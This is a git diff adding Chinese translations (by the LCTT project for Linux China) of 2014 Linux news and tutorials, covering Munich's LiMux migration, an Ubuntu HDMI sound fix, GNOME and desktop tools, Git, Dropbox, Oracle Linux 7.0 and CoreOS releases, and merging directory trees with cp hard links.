+[2]:http://www.unixmen.com/linux-basics-find-size-directory-commands/ +[3]:http://dev.yorhel.nl/ncdu +[4]:http://dev.yorhel.nl/ncdu/man +[5]:http://linux.cn/article-3473-1.html \ No newline at end of file diff --git a/published/201407/20140714 Canonical and Ubuntu Helped Munich Save Millions of Dollars by Ditching Microsoft Products.md b/published/201407/20140714 Canonical and Ubuntu Helped Munich Save Millions of Dollars by Ditching Microsoft Products.md new file mode 100644 index 0000000000..3f5658e2cb --- /dev/null +++ b/published/201407/20140714 Canonical and Ubuntu Helped Munich Save Millions of Dollars by Ditching Microsoft Products.md @@ -0,0 +1,28 @@ +放弃微软产品,慕尼黑省下数百万美元 +================================================= +![](http://i1-news.softpedia-static.com/images/news2/Canonical-and-Ubuntu-Helped-Munich-Save-Millions-of-Dollars-By-Ditching-Microsoft-Products-450571-2.jpg) + +**慕尼黑这座城市已经成为了从微软产品转向开源的,最突出的城市管理案例之一,而且Canonical公司和ubuntu为这次变革起了很大的作用。** + +慕尼黑成功脱离了微软的依赖,但是他们为这次摆脱过程付出了价值不菲的代价。从微软产品转向开源的好处看起来似乎很昂贵,但是转变的成本比之后的产品升级显著要低,不仅如此,在未来,我们会发现这种做法更便宜。 + +当你在像慕尼黑城市这种大城市,尝试从一个专有解决方法转向开源的时候,这可并不容易。因为慕尼黑拥有22个组织单位,每个单位都有自己的IT部门,更不要说各部门之间不同版本的应用程序。 + +地方政府不能只采用一个Linux发行版本。第一次的尝试是在2006年伴随着Debian的回归,但是特定的操作系统并没有一个可预测的发布时间表。这就是新操作系统LiMux产生的原因,一个基于ubuntu的操作系统。 + +“LiMux/开源项目是漫长而又反复的,但是经过几年时间运行这种大型Linux,我们意识到ubuntu才是最能满足我们需求的平台。通过结合开源软件的低成本和自由,加以对我们需要的硬件和应用程序的持续支持,这种做法才是这个项目成功的关键因素之一。当然,最终要还有我们的市府在项目上始终给予的高度支持。”慕尼黑项目经理Peter Hofmann[说道][1]。 + +截至2013年,如果只考虑升级成本的话,这个项目帮助慕尼黑节省了€1000万(1360万美元)。如果我们能量化官方支持软件和其余隐藏成本的话,这个数额显得有些多。 + +眼下,慕尼黑14000台PC机运行着LiMux,而且数量还在持续增长。这很有可能影响其余德国城市在未来也这么做,尤其是慕尼黑的邻居。 + +慕尼黑当局采用了13年才完成这次变革,但是最终事实证明,这样做可以省下一大笔资金,而且证明了Linux实际上是整个城市IT基础设施又好有免费的解决方案。 + +--------------------------------------------------------------------------------- +via: http://news.softpedia.com/news/Canonical-and-Ubuntu-Helped-Munich-Save-Millions-of-Dollars-By-Ditching-Microsoft-Products-450571.shtml + + 译者:[su-kaiyao](https://github.com/su-kaiyao) 校对:[wxy](https://github.com/wxy) + + 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + [1]:https://insights.ubuntu.com/2014/07/07/ubuntu-and-open-source-help-the-city-of-munich-save-millions/ \ No newline at end of file diff --git a/published/201407/20140714 Fix No Sound In Ubuntu 14.04 As HDMI Enabled BY Default.md b/published/201407/20140714 Fix No Sound In Ubuntu 14.04 As HDMI Enabled BY Default.md new file mode 100644 index 0000000000..5c1c39b23c --- /dev/null +++ b/published/201407/20140714 Fix No Sound In Ubuntu 14.04 As HDMI Enabled BY Default.md @@ -0,0 +1,64 @@ +Ubuntu 14.04中修复默认启用HDMI后没有声音的问题 +================================================================================ + +声音问题在Ubuntu中是老生常谈了。先前我已经在[修复Ubuntu中的“无声”问题][1]一文中写到了多种方法,但是我在此正要谈及的声音问题跟在另外一篇文章中提到的有所不同。 + +因此,我安装了Ubuntu 14.04,实际上是重新安装了一遍。一如既往,我将[全新安装Ubuntu 14.04后要做的事][2]全部又重新做了一遍。然后,我意识到系统突然失声了。当我正侦查问题所在之时,我发现了一件奇怪的事情。我检查了[alsamixer][3],发现它的状况有点离奇。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/06/alsamixer_Set_HDMI_Default.jpeg) + +正如你能看到的,**alsamixer中默认设置了HDMI**。这意味着默认情况下将使用HDMI输出,而不是内置扬声器。这就是我从系统上内置扬声器无法获得声音的原因。 + +使用下面的命令来检查alsamixer的状态: + + alsamixer + +如果alsamixer默认设置成了HDMI或者其它声音输出,那就继续读下去吧,看看我们是怎么来修复这个问题的。 + +### 修复默认设置成HDMI时Ubuntu的失声问题 ### + +现在来强制Ubuntu使用模拟输出来取代默认的HDMI,但我们还需要一点点信息。打开终端,然后使用下列命令: + + aplay -l + +这会列出设备,卡号之类的东西。注意,向下检查模拟输出使用的卡和设备编号。我的输出如下所示: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/AlsaMixer_List_Device.jpeg) + +一旦你取得了所需的卡和设备编号,重新构建一个配置文件: + + sudo gedit /etc/asound.conf + +上面的命令也会打开文件,将下面两行添加进去,当然将卡和设备编号替换成你自己的: + + defaults.pcm.card 1 + defaults.pcm.device 0 + +保存文件,并重启计算机。现在,你应该听到声音了吧。需要提一下的是,这对所有的Linux发行版都有效,如Linux Mint,Elementary OS,Fedora,Arch Linux等等都可以。正如我之前所说,该“失声疗法”仅针对HDMI被设置为默认设备的情况。对于其它情况,你可以阅读[关于在Ubuntu和Linux Mint中修复失声问题这篇文章][4]。 + +您可以尽情发表评论来告诉我这个方法是否有疗效,或者您有更好的方法来处理该问题,也可以告诉我。再见了! + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-includes/images/smilies/icon_smile.gif) + +---------- + +![](http://1.gravatar.com/avatar/20749c268f5d3e4d2c785499eb6a17c0?s=100&r=pg&d=mm) + +关于Abhishek + +我是Abhishek Prakash,It's F.O.S.S.的“创立者”,我有一个通信系统工程的硕士学位。我酷爱Linux和开源。我使用Ubuntu,信奉知识分享。除了Linux之外,我也喜爱经典的侦探推理小说,是Agatha Christie作品的超级粉丝。大家尽可以在[Google+][g]上将我圈进去,并追随[@abhishek_pc][t] + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/fix-sound-ubuntu-1404/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/fix-sound-ubuntu-1304-quick-tip/ +[2]:http://itsfoss.com/things-to-do-after-installing-ubuntu-14-04/ +[3]:http://en.wikipedia.org/wiki/Alsamixer +[4]:http://itsfoss.com/fix-sound-ubuntu-1304-quick-tip/ +[g]:https://plus.google.com/u/0/110180944531110746460 +[t]:https://twitter.com/abhishek_pc diff --git a/published/201407/20140716 Simple Dock GNOME Shell Extension Puts Your Fave Apps On The Desktop.md b/published/201407/20140716 Simple Dock GNOME Shell Extension Puts Your Fave Apps On The Desktop.md new file mode 100644 index 0000000000..000d1b19d7 --- /dev/null +++ b/published/201407/20140716 Simple Dock GNOME Shell Extension Puts Your Fave Apps On The Desktop.md @@ -0,0 +1,40 @@ +“Simple Dock” GNOME Shell扩展乾坤大挪移,钟爱应用桌面展现 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/screenshot_815_1.jpg) + +**我爱GNOME Shell,但是我痛恨的是费力从隐藏屏幕中找到我所钟爱的应用或者在我正运行的应用间切换。** + +这么说,听起来就像我是个老古董,像是一个UX勒德分子,也像是某个过分沉溺于Unity可用性瘾君子,但我,像阅读本文的许多人一样,喜欢将app启动器/切换器放到桌面上。这是一个用户所熟悉并且快捷的工作方式。 + +而GNOME Shell,从设计上看,却完全是个不同的世界。它将所有这一切隐藏起来 —— 从消息中心和通知,到工作区和应用列表。它弱化了审美效果,包含了这样的道理:帮助用户专注于最重要的部分。 + +但是对我而言,我的桌面需要的不仅仅是一个美化的相框。 + +### GNOME Shell之美 ### + +抛开我自己的偏好,隐藏应用是GNOME Shell之美的一部分。它带来了默认的桌面体验:用户友好,稳健以及可预见性——而且也完全可扩展。因此,它也附带有大量的扩展组件以迎合不同用户的需要、职业和希望,包括传统应用菜单,桌面停靠栏,以及甚至是Ubuntu Unity Dash的复制品! + +在本文中,我仅仅关注那个能满足我需要的扩展:它有个恰如其分的名字**Simple Dock**。Simple Dock获取GNOME Shell应用网格以及收藏栏,并可以将它放到任何我想要放的不引人注目的位置:桌面上。 + +目前为止,它只支持放置在屏幕底部,只提供了最小的设置项。虽然是最小的,但我觉得所有这些设置已经能满足我的需要: + +- 智能自动隐藏 +- 最小化/还原应用窗口 +- 拖放收藏 +- 覆盖活动启动按钮 + +你也想要吗?如果你正在Ubuntu 13.10或更高版本上使用GNOME Shell,那么你可以使用它。只需在支持的浏览器(Firefox, GNOME Web之类)中访问下面的链接就可以导航到GNOME扩展页面,然后将页面上开个从“off”拖动到“on”上。 + +- [GNOME Shell扩展中的Simple Dock][1] + +要调整Simple Dock设置,点击GNOME扩展页面上的齿轮图标,或者通过GNOME优化工具这样的桌面应用程序来设置。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/07/simple-dock-gnome-shell-extension + +译者:[GOLinux](https://github.com/GOLinux) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://extensions.gnome.org/extension/815/simple-dock/ diff --git a/published/201407/20140718 Display Song Lyrics On Desktop In Ubuntu 14.04.md b/published/201407/20140718 Display Song Lyrics On Desktop In Ubuntu 14.04.md new file mode 100644 index 0000000000..c3e6ba3ee4 --- /dev/null +++ b/published/201407/20140718 Display Song Lyrics On Desktop In Ubuntu 14.04.md @@ -0,0 +1,55 @@ +在 Ubuntu 桌面上显示歌词 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/display_lyrics_desktop_Ubuntu.jpeg) + +除了免费的流媒体音乐外,我最喜欢[Spotify][1]的地方就是它的歌词插件了。有时候我听不懂一首歌里面的所有歌词,尤其是rap。[TuneWiki][2]插件在这种情况下就派得上用场了。但TuneWiki仅有支持Windows和iTune的插件,那我们在linux桌面上有什么选择呢? + +如果你使用过一段时间Linux桌面,你也许听过[OSD Lyrics][3]。它是一个显示桌面歌词的小程序。你可以借助一些音乐播放器来使用它,比如 Rythmbox,[Banshee][4],[Clementine][5]等等。 + +### 在Ubuntu 14.04和Linux mint 17上安装OSD Lyrics ### + +两年以前 OSD Lyrics 它的官方仓库还在积极地维护,但现在对它的开发已经停止了。尽管这个PPA已经不可用,但可以通过网络下载OSD Lyrics的安装包。虽然这些安装执行文件最初是为 Ubuntu 12.02 设计的,但这些文件也能在 Ubuntu 14.04 上良好地工作。我们一起看看怎么在 Ubuntu 14.04 和 Linux mint 17 上安装OSD Lyrics。 + +[前往下载页下载OSDLyrics][6],根据你是使用[32位还是64位的ubuntu][7]来下载相应的.deb 文件。你会在网页的上方找到这些文件。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/OSD_Lyrics_Download.jpeg) + +下载完成后,双击它通过使用Ubuntu软件中心来安装。另外,你也可以使用[Gdebi ][8]来快速地安装.deb安装包。 + +### 怎样在 Ububtu 和 linux mnit 上使用 OSD Lyrics 显示歌词 ### + +安装完成后,你可以从Unity Dash运行OSD Lyrics : + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Open_OSD_Lyrics_Ubuntu.jpeg) + +首次运行时,OSD Lyrics会检测你的系统中能被它支持的播放器。你可以设定一个默认播放器,以后当你运行OSD Lyrics时它就会自动启动 。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/OSD_Lyrics_Default_Player.jpeg) + +有一件事值得注意,那就是OSD Lyrics不像[Shazam][9]等软件一样,它不是通过音频来寻找歌词,而是通过比如名称,专辑,艺术家等信息来关联音乐文件。所以你得确保你的音乐文件的来源正当,或者是你得保持你的音乐文件的信息是正确并且是已经更新后的。 + +如果OSD Lyrics辨认出了音乐文件,它就会用卡拉OK格式在桌面上显示歌词了:(译者注:OSD Lyrics可以自动在千千静听和虾米歌词站点在线下载歌词,这对我们中文用户来说是个福音) + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Dsiplay_Lyrics_Ubuntu.jpeg) + +OSD Lyrics有大量设置选项,你可以改变歌词字体,文字大小等等。 + +你认为 OSD Lyrics 怎么样?你还使用其它歌词插件吗?欢迎您和我们分享。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/display-song-lyrics-desktop-ubuntu-1404/ + +译者:[Love-xuan](https://github.com/Love-xuan) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/install-spotify-ubuntu-1404/ +[2]:http://www.tunewiki.com/ +[3]:https://code.google.com/p/osd-lyrics +[4]:http://banshee.fm/ +[5]:https://www.clementine-player.org/ +[6]:https://code.google.com/p/osd-lyrics/downloads/list +[7]:http://itsfoss.com/how-to-know-ubuntu-unity-version/ +[8]:http://itsfoss.com/install-deb-files-easily-and-quickly-in-ubuntu-12-10-quick-tip/ +[9]:http://www.shazam.com/ diff --git a/published/201407/20140718 Git 2.0.2 Version Control System Now Available for Download.md b/published/201407/20140718 Git 2.0.2 Version Control System Now Available for Download.md new file mode 100644 index 0000000000..e13c2d8f60 --- /dev/null +++ b/published/201407/20140718 Git 2.0.2 Version Control System Now Available for Download.md @@ -0,0 +1,34 @@ +Git 2.0.2版本控制系统现在可供下载使用了 +================================================================================================================================================== + +![](http://i1-news.softpedia-static.com/images/news2/Git-2-0-2-Version-Control-System-Now-Available-for-Download-451147-2.jpg) + +**Git 2.0.2如今已正式发布。这是一个免费和开源的分布式版本控制系统,因其处理速度和效率的优势,它可以处理大大小小各种项目。** + +新的Git 2.0.x分支保持着带来大量更新的传统,它整合了大量的改变和修正。这个最新的更新只是维护版,但是它的功能特性的确有一些有趣的修改。 + +根据开发者的描述:"git submodule sync(git子模块的同步)"的文档中提到的子命令可以使用"--recursive"(递归)的选项;在.gitignore中跟踪引用反斜杠的空格的处理不当已经被纠正;对"git repack"命令的更新,将不再错误地复制那些被.keep标签标记的pack目录下的对象。 + +还有,"git clone -b brefs/tags/bar"不再认为git遵循一个单一的tag,尽管它是一个分支的名称;"%G(G后面没有跟任何东西)"是一个无效的漂亮的格式说明符,现在的解析器不再对它进行解析;用于避免增加相同替代对象的存储的代码经过了两次修正,而且其余的几个修正也已经完成。 + +想要查看完整的改变列表,查看[changelog][1]。 + +下载Git 2.0.2: + +- [tar.gz][1][sources] [4.70 MB] +- [Debian/Ubuntu DEB ALL][2][ubuntu_deb] [0 KB] +- [Red Hat/Fedora/Mandriva/openSUSE RPM noarch][3][rh_rpm] [0 KB] + +------------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Git-2-0-2-Version-Control-System-Now-Available-for-Download-451147.shtml + +译者:[su-kaiyao](https://github.com/su-kaiyao) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/git/git/blob/master/Documentation/RelNotes/2.0.2.txt +[2]:https://github.com/git/git/archive/v2.0.2.tar.gz +[3]:http://git-scm.com/download/linux +[4]:http://git-scm.com/download/linux + diff --git a/published/201407/20140718 Time to Upgrade--Ubuntu 13.10 Support Ends Today.md b/published/201407/20140718 Time to Upgrade--Ubuntu 13.10 Support Ends Today.md new file mode 100644 index 0000000000..3b1e35b2b2 --- /dev/null +++ b/published/201407/20140718 Time to Upgrade--Ubuntu 13.10 Support Ends Today.md @@ -0,0 +1,37 @@ +小伙伴们,该更新系统啦:Ubuntu 13.10的支持到今天结束 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/04/upgrade-available.jpg) + + +**尽管目前运行良好,在经历了9个月的折腾后,今天官方对Ubuntu 13.10(俏皮蝾螈)的支持正式寿终正寝。** + +> 尽管它的名字叫'俏皮蝾螈',但它所提供的新功能却无比的乏味。 + +那些仍然在使用它的用户应该看看最新的发行的稳定版了,Ubuntu 14.04 LTS。在四月推出的这个版本,提供良好的图形化支持,支持期限是到2019年的4月中旬。 + +对于Ubuntu 13.10的服务器版的支持,也到今天正式停止。 + +### 俏皮蝾螈已然失宠 ### + +Ubuntu 13.10于去年10月发布,Canonical对其桌面版本承诺提供时长9个月的安全和Bug修复更新。截至今年7月17日,所有更新将停止,未来也不再提供。 + +Canonical[推荐的升级方案][1]是升级到14.04版本,目前可以直接通过图形化工具去升级,包括使用升级程序,或者在命令行运行‘`do-release-upgrade`‘命令。 + +俏皮蝾螈,它的名字非常的好听,但表现平平,13.10在Ubuntu所有的发行版中也不是一个取得卓越成功的版本,[这一点已经被很多网络评论预言到了][2]。 + +然而,它曾经让人眼前一亮的是,强加提供了键盘指示符来快速的选择安装语言,这可以让用户简便的在该智能域操作,这也是第一个在安装程序中整合了`Ubuntu One Single Sign-on`的发行版。 + +查看13.10版本的所有新功能,请查看完整视频: +Youtobe 视频地址:[http://www.youtube.com/embed/1EiRQ-znEcI?feature=oembed][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/07/ubuntu-13-10-support-ends-today + +译者:[nd0104](https://github.com/nd0104) 校对:[ReiNoir](https://github.com/reinoir) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://help.ubuntu.com/community/TrustyUpgrades +[2]:http://www.omgubuntu.co.uk/2013/10/ubuntu-13-10-press-reaction +[3]:http://www.youtube.com/embed/1EiRQ-znEcI?feature=oembed \ No newline at end of file diff --git a/published/201407/20140722 The Native Dropbox Linux Client Debuts New Qt Interface.md b/published/201407/20140722 The Native Dropbox Linux Client Debuts New Qt Interface.md new file mode 100644 index 0000000000..449f842479 --- /dev/null +++ b/published/201407/20140722 The Native Dropbox Linux Client Debuts New Qt Interface.md @@ -0,0 +1,57 @@ +Dropbox原生Linux客户端首次展示QT界面 +================================================================================ +**Dropbox原生Linux客户端的最新试验版首次展示了全新的QT界面。** + +Dropbox表示这次的UI重写,将同时应用到Windows和Linux,将修复“大量”长期遗留下来的错误和问题。这个跨平台的工具也将整体提升性能。 + +在全新的设置向导和登录界面(见下面的图片)旁边是几个重新设计过的启动画面。 + +![Login Screen ](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/dropbox-qt-login.jpg) +登录界面 + +![Setup Screen](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/dropbox-qt-set-up.jpg) +设置界面 + +![Congratulations Screen ](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/dropbox-qt-finished.jpg) +欢迎界面 + +### 目前还不稳定 ### + +Dropbox开发人员提醒参与测试的人,目前大部分新界面“还很粗糙”,在使用中可能会碰到大量的界面问题。新界面还不能配合一些辅助工具一起工作,例如屏幕阅读器。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/dropbox-linux-clients-old-and-new.jpg) + +新UI使用了(目前)系统自带的QT界面主题。它本身也不算很丑,不过在Ubuntu桌面上看起来不怎么合适,特别是和之前的版本比较。据说内存占用也变多了,在空闲情况下有时候会从60MB一下子跳到178MB。那些使用低端设备的人应该忍耐一下试用这个版本的诱惑-至少在这个特别的问题解决之后。 + +Dropbox 2.11.0 (试验版本) for Linux的完整改动日志: + +- 用QT重写了Windows & Linux界面 +- 在移动和重命名文件后会尝试识别 +- 新的设置/登录体验 +- 更快上传小文件 +- 新的启动画面 + +### 下载Dropbox Linux Build 2.11.x ### + +想尝鲜的话,可以通过下面的链接下载和你系统对应的安装包。 + +- [Dropbox Experimental (64bit) Offline Linux Installer][1] +- [Dropbox Experimental (32bit) Offline Linux Installer][2] + +下载完后,解压到主目录。它默认是隐藏的,所以打开终端,’`cd`‘到‘`.dropbox-dist/dropbox-lnx`‘目录下,然后运行‘`./dropbox start`‘。 + +演示Dropbox终端操作的gif动画: + +![](http://i.imgur.com/5TeYXEm.gif) + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/07/dropbox-experimental-linux-build-qt-rewrite + +原文作者:[Joey-Elijah Sneddon][a] 译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://d1ilhw0800yew8.cloudfront.net/client/dropbox-lnx.x86_64-2.11.0.tar.gz +[2]:https://d1ilhw0800yew8.cloudfront.net/client/dropbox-lnx.x86-2.11.0.tar.gz diff --git a/published/201407/20140724 How to Merge Directory Trees in Linux using cp Command.md b/published/201407/20140724 How to Merge Directory Trees in Linux using cp Command.md new file mode 100644 index 0000000000..dda688d0d0 --- /dev/null +++ b/published/201407/20140724 How to Merge Directory Trees in Linux using cp Command.md @@ -0,0 +1,77 @@ +在 Linux 中怎样使用cp命令合并目录树 +================================================================================ + +怎样将两个布局相似的目录树合并成一个新的目录树?为理解该问题让我们思考下面的例子. + +假设 dir1 和 dir2 目录中分别有3个子目录a,b和c.目录布局如下所示: + +![Layout of input directories](http://linoxide.com/wp-content/uploads/2014/07/01.merge_dir_layout.png) +输入目录布局 + +在目录a,b和c中有一些文件,tree命令的输出将能更好的说明: + +![Layout of files](http://linoxide.com/wp-content/uploads/2014/07/02.merge_file_layout.png) +文件布局 + +### 1. 使用cp命令创建合并: ### + +现在我们将这两个目录合并成一个名为"merged"新的目录中.完成上述操作最简单的方式就是递归复制目录,如下图所示: + +![Copy directories recursively to create new merge](http://linoxide.com/wp-content/uploads/2014/07/03.merge_cp_recursive.png) +递归复制完成新的合并 + +#### 1.1 cp命令和替换带来的问题: #### + +这种方式所带来的问题是该合并目录中所创建的文件为原文件的副本,并非原文件本身.别急, (你可能正在问自己) 如果不是原文件又有什么问题? 要回答你的问题,考虑下你有很多大文件的情况.那种情形下,复制所有的文件可能花费数小时. + +现在让我们回到刚那问题上,且尝试使用mv命令而不是cp命令. + +![Attempt to merge with mv command](http://linoxide.com/wp-content/uploads/2014/07/04.merge_mv_recursive.png) +企图使用mv命令进行合并操作 + +这些目录不能被合并.因此我们不能像这样使用mv命令去合并目录. +现在你该怎样将原文件保存到"merged"目录中? + +### 2. 解决方法: ### + +cp命令有一个非常有用的选项来帮助我们摆脱这种状况. +cp命令的-l 或 --link选项能够创建硬链接而非原文件副本.让我们尝试一下. + +在我们尝试cp命令的硬链接选项前,让我们查看一下原文件的inode号码. +可通过tree命令--inodes选项来查看inodes: + +![Display inodes of original files](http://linoxide.com/wp-content/uploads/2014/07/05.merge_display_inodes.png) +原文件的inodes + +现在我们有了inodes的列表,对于cp命令可通过--link选项创建硬链接: + +![Merge directories with hard links](http://linoxide.com/wp-content/uploads/2014/07/06.merge_create_links.png) +使用硬链接合并的目录 + +#### 2.1 验证文件: #### + +现在文件已经被复制,让我们验证一下inodes是否和原文件匹配: + +![Verify Inodes](http://linoxide.com/wp-content/uploads/2014/07/07.merge_verify_inodes.png) +Verify Inodes + +#### 2.2 清除: #### + + +正如你所看到的,这些文件的inodes和原文件的一样.现在问题已经被解决,且 +原文件已被复制到合并目录中.现在我们能够移除dir1和dir2目录. + +![Remove original directories](http://linoxide.com/wp-content/uploads/2014/07/08.merge_cleanup.png) +移除原始目录 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/merge-directory-trees-linux/ + +原文作者:[Raghu][a] + +译者:[hunanchenxingyu](https://github.com/hunanchenxingyu) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/raghu/ diff --git a/published/201407/20140724 Oracle Linux 7.0 OS Has XFS as Default File System and Unbreakable Enterprise Kernel Release 3.md b/published/201407/20140724 Oracle Linux 7.0 OS Has XFS as Default File System and Unbreakable Enterprise Kernel Release 3.md new file mode 100644 index 0000000000..2fe8583af8 --- /dev/null +++ b/published/201407/20140724 Oracle Linux 7.0 OS Has XFS as Default File System and Unbreakable Enterprise Kernel Release 3.md @@ -0,0 +1,43 @@ +Oracle Linux 7.0发布! +=== +![The new Oracle Linux 7.0 is out](http://i1-news.softpedia-static.com/images/news2/Oracle-Linux-7-0-OS-Has-XFS-as-Default-File-System-and-Unbreakable-Enterprise-Kernel-Release-3-451894-2.jpg) + +**Oracle已经发布了Oracle Linux 7.0操作系统,新系统带来了大量的新特性,比如“第三代坚不可摧的内核 UEK”(Unbreakable Enterprise Kernel Release 3)和一个新的默认文件系统** + +为了这次新的发行版的发布,Oracle的开发者们已经放出过两个预览版,现在最终版终于来了。果然,它有着大量的改进,其中包括使用新的XFS作为默认的文件系统**[注:原文为操作系统,应该是笔误]**,可选的Btrfs文件系统,Linux Containers (LXC), DTrace,Ksplice,加强版Xen和UEK R3。 + +作为广泛流行的文件系统EXT4的对抗者,XFS有一个显著优势。它所允许用户的文件系统的大小达到了500TB,这比你在EXT4文件系统中所能达到最大值的十倍还多。唯一的缺点是单个文件的大小最大仅为16TB。 + +这个发行版的一大特色是它支持两种内核。一个是红帽兼容性内核(RHCK),基于Linux内核版本3.10,第二个是Oracle自己的内核版本“第三代坚不可摧的内核”(UEK R3),版本号从3.8.13开始,因为它基于3.8的Linux内核。你或许还记得Linux内核3.8.x已经寿终正寝,但是看来Oracle一直在维护着自己的分支。 + +“已经能够从Oracle软件发布云上下载了,Oracle Linux 7可以免费下载和部署。所有的bug修复和安全勘误会被发布到Oracle的公共yum服务器上,不管有没有付费,用户都能安装同样的代码,并且从免费到付费的迁移十分简单,无需重新安装。” + +“当发布最新的Linux更新,工具以及推送给客户和参与者新功能的时候,需要为现代化的数据中心提供企业级的解决方案。为此最新的发行版是构建在Oracle对OpenStack这样的新兴技术提供支持的基础上,”从官方声明可以看出。 + +通过变更记录来看,Ksplice已经为了实现零宕机的内核完成了安全更新和bug修复,systemd也成了新的系统管理工具,Grub2现在是默认的启动引导程序,并且支持新的固件类型(比如UEFI),还有一个加强版Anaconda安装器,一个新的Apache Web服务器,支持GPT,和大量的安全特性被添加进来。 + +更多关于最新的Oracle Linux发行版的详细内容可以参考官方[声明][1]。 + +立即下载Oracle Linux 7.0: + + +- [Oracle Enterprise Linux 6.5 (ISO) 64-bit][2][iso] [3 GB] +- [Oracle Enterprise Linux 6.5 (ISO) 32-bit][3][iso] [3.60 GB] +- [Oracle Enterprise Linux 7.0 (ISO) 64-bit][4][iso] [4.50 GB] + + +--------------------------------- + +原文: http://news.softpedia.com/news/Oracle-Linux-7-0-OS-Has-XFS-as-Default-File-System-and-Unbreakable-Enterprise-Kernel-Release-3-451894.shtml + +作者:[Silviu Stahie][a] +译者:[guodongxiaren](https://github.com/guodongxiaren) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://www.oracle.com/us/corporate/press/2245947 +[2]:http://mirrors.dotsrc.org/oracle-linux/OL6/U5/i386/OracleLinux-R6-U5-Server-i386-dvd.iso +[3]:http://mirrors.dotsrc.org/oracle-linux/OL6/U5/x86_64/OracleLinux-R6-U5-Server-x86_64-dvd.iso +[4]:https://edelivery.oracle.com/linux/ diff --git a/published/201407/20140728 CoreOS Stable Release.md b/published/201407/20140728 CoreOS Stable Release.md new file mode 100644 index 0000000000..d072238861 --- /dev/null +++ b/published/201407/20140728 CoreOS Stable Release.md @@ -0,0 +1,44 @@ +CoreOS 稳定版发布 +================================================================================ + +随着CoreOS稳定版的发布,我们相信我们已经为SysAdmin节准备好了一个不错的惊喜。从现在起,用户可以在产品环境中运行CoreOS了。这个版本对于想运行CoreOS的用户来说,是最经考验的、最安全的、最可靠的CoreOS版本。这对我们来说,是一个重大的里程碑。自从2013年八月我们第一个alpha版本发布以来,我们做了: + +- 191个发布版本 +- 通过alpha和beta频道测试了成千上万的服务器 +- 支持10个以上平台,从裸机到Rackspace和Google云平台的主要镜像 + +对我们来说这是一个极为重要的日子,因为我们为了稳定版的发布付出了努力的工作。当然,如果没有社区的帮助,我们完成不了这些工作,感谢你们所有对项目的支持和贡献。 + +[CoreOS 367.1.0][2], 这是我们在稳定频道上的第一个版本, 包括以下内容: + +- Linux 3.15.2 +- Docker 1.0.1 +- 所有主流的云服务商的支持, 包括 Rackspace Cloud, Amazon EC2 (包括 HVM) 和 Google Compute Engine +- 通过 [CoreOS Managed Linux][3] 的商业支持 + +如果你还没有阅读我们的[Update Philosophy][4],我们建议您先看看。 + +请注意:稳定发布版本为了保持稳定性而不包括etcd和fleet ,此发布版仅针对基本的操作系统和Docker1.0。etcd和fleet的稳定版本支持会在随后的发布版本中。 + +如果想开始在产品中运行CoreOS,请确保阅读我们的快速指南“[切换到发布频道][5]”。如果你正在装新的机器,请确保在一开始就把他们建立在你想要的更新频道上。 + +最后,感谢社区的支持,我们迫不及待地想听到你们的反馈。对那些在产品环境中运行CoreOS上,希望得到额外支持的用户,请确保查看我们的[Managed Linux][6] 建议,因为我们已经有了一个完整的支持团队,他们正在准备回答你遇到的任何问题。 + +SysAdmin节快乐,感谢你们让互联网变得如此令人惊叹。 + +-------------------------------------------------------------------------------- + +via: https://coreos.com/blog/stable-release/ + +作者:Alex Polvi +译者:[lfzark](https://github.com/lfzark) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 